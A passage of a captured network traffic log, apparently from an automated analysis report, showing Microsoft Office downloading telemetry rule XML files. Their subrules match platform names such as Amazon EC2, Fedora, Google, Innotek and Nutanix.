2024-10-28 07:18:12 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:12 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071812Z-16849878b78km6fmmkbenhx76n00000003yg00000000e9ks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:12 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:12 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:12 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071812Z-16849878b78qg9mlz11wgn0wcc00000004bg00000000210d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:12 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:12 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:12 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:12 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071812Z-16849878b787bfsh7zgp804my400000003k0000000002g26 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:12 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:12 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:12 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 62c536ba-f01e-003c-5995-278cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071812Z-r197bdfb6b48pcqqxhenwd2uz800000005dg000000006kbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:12 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:13 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071813Z-16849878b782d4lwcu6h6gmxnw00000004a000000000cqkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:13 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:13 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f963c678-b01e-001e-6d3f-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071813Z-15b8d89586f989rkfw99rwd68g000000060g0000000025nk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:13 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:13 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071813Z-16849878b786jv8w2kpaf5zkqs00000003m0000000006scz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:13 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:13 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071813Z-16849878b78smng4k6nq15r6s4000000063g00000000g46p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:13 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:13 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: d0d63b60-601e-0050-7d63-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071813Z-r197bdfb6b4hsj5bywyqk9r2xw00000005y000000000cb5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071814Z-16849878b787wpl5wqkt5731b400000005k0000000000dnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 22dc00c4-601e-003d-7597-286f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071814Z-r197bdfb6b4skzzvqpzzd3xetg000000041g0000000060uh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071814Z-16849878b78p8hrf1se7fucxk800000005fg00000000e73e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:14 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

